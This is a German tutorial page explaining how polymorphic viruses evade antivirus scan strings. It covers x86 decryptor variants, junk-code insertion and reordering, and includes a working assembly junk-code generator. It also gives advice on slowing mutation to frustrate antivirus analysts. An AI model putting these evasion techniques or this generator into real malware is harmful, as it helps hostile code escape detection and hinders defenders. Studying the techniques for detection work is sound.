Tutorials Infos - Anleitungen - Hilfe - Dreamcodes
 

Polymorphe Viren

Bevor hier ein Protest schreiben an uns geschrieben wird: Hier wird nur die Funktionsweise erklärt und an keinerstelle, Code für einen richtigen Virus.

Also ...
Ok, was ist ein polymorpher Code?
Das ist ein Code der sich selber immer
wieder verändert, so das keine Kopie aussieht wie eine andere. Kennen wir doch, werden
einige denken, genau das passiert auch wenn ich einen Virus verschlüssele.

Halt, es bleibt beim Verschlüsseln immer noch ein statischer Teil. Der
Decryptor, also der Teil des Codes, der den Rest entschlüsselt, deshalb wird dieser
in Polymorphen Viren so gestaltet, das er bei jeder Infektion neu erstellt wird,
so daß er jedesmal anders aussieht.

Schauen wir uns ein Beispiel an:
( Ich benutze hier die Windows Register, esi, eax.. sie sind die gleichen wie unter
DOS nur, das jetzt 32 Bit hineinpassen )

mov ecx, VirusLänge
lea esi, Start
XLoop:
xor byte ptr [esi], Key
inc esi
loop XLoop

Folgender Code erledigt genau die gleiche Aufgabe:

lea esi, Start
mov edi, esi
mov ecx, VirusLänge
XLoop:
lodsb
xor al, Key
stosb
dec ecx
cmp ecx, 0
jne XLoop


Man kann also alles in mehreren Varianten schreiben. Dies wird bei polymorphen Code
ausgenutzt. Vesselin Bontchev, ein Anti-Viren Hersteller hat einmal eine Tabelle
aufgestellt, über die Verschiedenen Level der Polymorphie:

1. Mehrere Decryptoren, von denen einer ausgesucht wird
2. Variable Instruktionen für jedes Teilstück
3. Garbage / Junk Code
4. Veränderbare Reihenfolge
5. 2+3+4
6. Permutation

1.) Hier gibt es mehrere verschiedenen Decryptoren von denen einer ausgewählt wird,
wenn man nun für jeden dieser Code-Stücke einen Scanstring erstellt, wird der Virus
leicht entdeckt, dies ist also nicht sehr effektiv.

2.) Hier gibt es für jedes Teilstück mehrere Instruktionen, von denen jedesmal eine
ausgesucht wird:

Für mov ecx, Viruslänge könnte auch stehen

xor ecx, ecx
add ecx, VirusLänge

push VirusLänge
pop ecx

mov eax, VirusLänge
xchg eax, ecx

Ich glaube ihr wisst nun worauf ich hinaus will ;)

3.) Garbage bzw Junk Code sind Codestücke, die im Grunde völlig nutzlos sind,
bzw den Decryptor in seiner Funktionsweise nicht beeinträchtigen:

nop
stc
clc
mov eax, eax
add ebx, 342341h ( ebx wird ja nicht verwendet )

Diese dienen nur dazu, das kein Scanstring erstellt werden kann, da jedesmal
anderer Müll in den Decryptor eingefügt wird.
Es gibt sogar Polymorphe Viren, die Calls und Jumps in den Decryptor mit
einbauen, so das der Code undurchsichtiger wird und das Ganze nicht so
"zusammengekleistert" aussieht ( 10 nops in 20 Instruktionen sind halt merkwürdig *g* ).
Verwenden wir mal etwas Junk-Code im ersten Beispiel weiter oben:

mov ecx, VirusLänge
nop ; Junk
nop ; Junk
lea esi, Start
nop ; Junk
nop ; Junk
XLoop:
xor byte ptr [esi], Key
nop ; Junk
inc esi
nop ; Junk
loop XLoop
nop ; Junk

Da der Junk-Code Generator normalerweise nicht immer den gleichen Junk
einfügt könnte der Code auch so aussehen:

mov ecx, VirusLänge
add ebx, 452h ; Junk
xor eax, edx ; Junk
lea esi, Start
and ebx, ebp ; Junk
sub edx, 3234h ; Junk
XLoop:
xor byte ptr [esi], Key
mov eax, ecx ; Junk
inc esi
inc ecx ; Junk
loop XLoop
stc ; Junk

Der Code sieht komplett anders aus, macht aber immernoch genau das gleiche,
wird also in seine Funktion nicht beeinträchtigt, aber: das Ganze sieht im Hexeditor
komplett anders aus:

Version 1:
B9D0 0700 0090 90BE 5210 4000 9090 8036
0090 4690 E2F8

Version 2:
B9D0 0700 0081 C352 0400 0033 C2BE 5210
4000 23DD 81EA 3432 0000 8036 008B C146
41E2 F7F9

4.) Dies ist einfach das Austauschen 2er Instruktionen z.B.

lea esi, Start
mov ecx, VirusLänge

wird zu

mov ecx, VirusLänge
lea esi, Start

Also die Reinfolge der einzelnen Instruktionen wird verändert, so kann man
zum Beispiel auch verschiedene Arten der Verschlüsselung generieren:

xor byte ptr [esi], 5
inc byte ptr [esi]
neg byte ptr [esi]

erzeugt anderen Code als :

inc byte ptr [esi]
neg byte ptr [esi]
xor byte ptr [esi], 5

Dadurch können Scanstrings nicht mehr so einfach verwendet werden, da hierdurch
Wildcards für den auswechselnden Teil verwendet werden müssen. Wenn dieser
Teil zu lange ist, kommt es beim Benutzen von zu vielen Wildcards zu Fehlerkennungen,
was den Scanstring unbrauchbar macht.

5.) Ein solcher Polymorpher Code beinhaltet alle vorhergegangenen Arten um
sich ständig zu verändern. Dies ist eigentlich die Stufe die eine Poly-Engine
haben sollte um effektiv zu sein.

6.) Permutation ist von der "Güte" genause wie die 5.te Stufe, ist aber eine
komplett andere Technik. Hier wird der Virus in mehrere Teile zerteilt, die
dann ausgetauscht werden. z.B.:

- Suche nach Dateien
- Infection
- Payload

wird zu

- Payload
- Infection
- Suche nach Dateien

Dabei wird nur die Reinfolge in der Datei verändert, durch Jumps wird dafür
gesorgt, daß der Ablauf der gleiche bleibt ( klar , ansonsten würde der Virus nicht
mehr funktionieren )


Die Standart-Technik die benutzt wird ist Nr.5 da diese die meisten Variationen bietet.
Normalerweise beinhaltet der polymorphe Teil nur den Decryptor, mitlerweile gehen,
aber schon manche Coder soweit, in diesen Teil noch Anti-Detection Tricks mit einzubauen,
so daß das Entschlüsseln des eigentlichen Code erschwert / unmöglich wird.

Wie reagieren die AVs auf polymorphen Code ? Normalerweise emulieren sie den Decryptor
und suchen nach einem Scanstring unter der polymorphen Schicht. Wenn die Emulation nicht
funktioniert wird versucht, ob man den Verschlüsselten Teil durch Cryptanalyse entschlüsselt
bekommt. Wenn das Programm im Decryptor ein Xor byte ptr [esi], 4 entdeckt, wird es wissen
wie der Code verschlüsselt ist, so daß es nicht den Decryptor emulieren muss,
sondern den Code auch selbst entschlüsseln kann.

Eine Poly Engine ist der Teil im Virus, der den Decryptor bastelt. Was muss diese
Engine nun leisten ? Sie muss dafür sorgen, das es keine statischen Bytes an festen oder
variablen Positionen mehr gibt, so das Scanstrings unmöglich für AVs zu benutzen sind.
Die Größe des Decryptors bzw. des kompletten Viruses kann sich durch die Polyengine
auch bei jeder Infection verändern, wodurch das ganze noch unstatischer wird.
Eine Polyengine, ist meistens einiges an Code und darf durchaus so groß sein, wie der
Rest des Viruses. Einen Polymorphen Virus zu analysieren ist eine langwierige und
langweilige Sache für einen AVer, da er tausende Dateien infiziert um zu sehen, welche
verschiedenen Versionen die Poly-Engine produziert. Man sollte versuchen, die Poly Engine
zu verlangsamen, da das die Analyse erschwert. Wenn z.B. alle Versionen eines Viruses auf
einem Rechner gleich sind, muss der AVer das Ganze noch auf 5-6 weiteren PCs analysieren,
damit er genügend verschiedene Versionen des Viruses bekommt. So könnte man dafür sorgen,
daß der Virus nur alle 10 Generationen eine neue Version erstellt oder nur Freitags, oder
die Varianten vom Benutzernamen abhängig sind, oder von gewissen Bios Einstellungen,
oder, oder oder ... ;)
Je langsamer umso wirkungsvoller !

Da eine Poly-Engine auf den Virus abgestimmt sein sollte, werde ich hier dazu keinen
Code zeigen. Deshalb werd ich hier nur einen einfachen Junkcode Generator zeigen.
Der Code dürfte zwar in der Heuristik ein paar Flaggen aktivieren, das es Junkcode
ist, aber um die Scanstrings zu verschleiern reicht es .. ;)


---------8<-----------------
; ecx enthält die Anzahl der Instruktionen die
; eingefügt werden sollen,
; edi zeigt auf die Stelle an der sie eingefügt werden.
push ecx ; ecx speichern

RandJunkLoop:
push ecx ; für den Loop speichern

push 8h ; die Funktion GetRand gibt uns eine Zahl zwischen 0 und ecx
pop ecx ; in edx und eine Zufällszahl in eax zurück
call GetRand
xchg eax, edx ; 0-8 in eax

lea ebx, [ebp+OpcodeTable]; ebx zeigt auf die Opcodes
xlat ; Xlat wählt aus der Tabelle einen Opcode aus
stosb ; diesen speichern wir ( 1. Byte )
xor eax, eax ; eax löschen
; das erste Byte ist für jede Instruktion immer gleich,
; egal mit welchen Registern sie verwendet wird
; das zweite Byte enthält die Informationen zu den Registern

; Reg1 enthält das erste Register
; ( Zahl zwischen 0 und 8, wobei jede Zahl
; für ein Register steht )
; 0 - eax
; 1 - ecx
; 2 - edx
; 3 - ebx
; 4 - esp
; 5 - ebp
; 6 - esi
; 7 - edi
; jedoch sind 1 und 6 ausgenommen, da diese im Decryptor
; verwendet werden. Deshalb dürfen sie nicht verändert werden.

mov al, byte ptr [ebp+Reg1]
shl eax, 3h ; mit 8 multiplizieren
add eax, 0c0h ; Basis addieren
; zweiten Register addieren
add al, byte ptr [ebp+Reg2]
stosb ; das ganze speichern

pop ecx ; ecx wiederherstellen
loop RandJunkLoop ; und weitermachen

pop ecx ; teilweise brauch man die Länge des Decryptors, die des
; Junkcodes wird hier addiert
shl ecx, 1 ; Anzahl der Junk Instruktionen mit 2 multiplizieren
; und addieren

add dword ptr [ebp+PolyLen], ecx

ret ; zurück..

OpcodeTable: ; diese Tabelle enthält das erste Byte
; der 8 verwendeten Opcodes

db 08Bh ; mov
db 033h ; xor
db 00Bh ; or
db 02Bh ; sub
db 003h ; add
db 023h ; and
db 013h ; adc
db 01Bh ; sbb

---------8<-----------------

Wenn man nun in seinen Decryptor 4 mal Junkcode mit diesem Generator einfügt,
kann man allein dadurch eine enorme Anzahl an Variationen erreichen:

8 Befehle * 8 Register1 * 8 Register2 * 4 = 2048

Dadurch hat man eigentlich alle Scanstrings ohne Wildcards ausgeschaltet.
Man kann das ganze aber immer noch mit Platzhaltern erkennen :
( ? = 1 Byte das auswecheslbar ist
* = X Bytes die auswechselbar sind )

34h 23h ? ? 34h 2ah ? ? ...

Wenn man nun 4 mal zwischen 1 und 4 Instruktionen einfügt steigt die Anzahl der
Versionen um ein vielfaches:

8^3 * 4 ^ 4 = 131072

Um so einen Virus zu erkennen muss man Wildcards mit variabler Größe im Scanstring
verwenden:

34h 23h * 34h 2ah * 0a8h 13h * ...

Wenn nun der Rest der Poly-Engine dafür sorgt, das die Zwischenstücke jedesmal
andere sind kann in diesem Teil des Viruses kein Scanstring mehr erstellt werden.

 
ID: 2132
eingestellt am: 15.11.2012
Autor: SnakeByte
Status zum lesen: Gast
gelesen: 4863
Webseite: www.dreamcodes.com
[Drucken]